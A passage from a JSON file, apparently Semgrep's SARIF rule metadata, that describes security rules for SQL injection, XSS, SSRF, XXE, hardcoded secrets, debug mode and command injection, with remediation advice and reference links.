build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","id":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","name":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","id":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","name":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"help":{"markdown":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://developer.apple.com/documentation/security/randomization_services](https://developer.apple.com/documentation/security/randomization_services)\n","text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt","id":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","name":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-323: Nonces should be used for the present occasion and only once.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-salt.hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"help":{"markdown":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","id":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","name":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"help":{"markdown":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","id":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","name":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","id":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","name":"python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxparser-xxe-servlet.tainted-saxparser-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"help":{"markdown":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attr_accessible.rb)\n","text":"Checks for dangerous permitted attributes that can lead to mass assignment vulnerabilities. Query parameters allowed using permit and attr_accessible are checked for allowance of dangerous attributes admin, banned, role, and account_id. Also checks for usages of params.permit!, which allows everything. Fix: don't allow admin, banned, role, and account_id using permit or attr_accessible."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attr-accessible.model-attr-accessible","id":"ruby.lang.security.model-attr-accessible.model-attr-accessible","name":"ruby.lang.security.model-attr-accessible.model-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attr-accessible.model-attr-accessible"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","id":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","name":"kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-conf.ktor-development-mode-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"help":{"markdown":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled)\n - [https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/](https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/)\n","text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.debug-enabled.debug-enabled","id":"python.flask.security.audit.debug-enabled.debug-enabled","name":"python.flask.security.audit.debug-enabled.debug-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.debug-enabled.debug-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. If DTD is required for local files then pass the `XML_PARSE_NONET` option which will disable network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","id":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","name":"cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-remote-dtd.libxml2-expand-remote-dtd"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","id":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","name":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","id":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","name":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint","id":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","name":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.command-injection.gin-command-injection.gin-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep 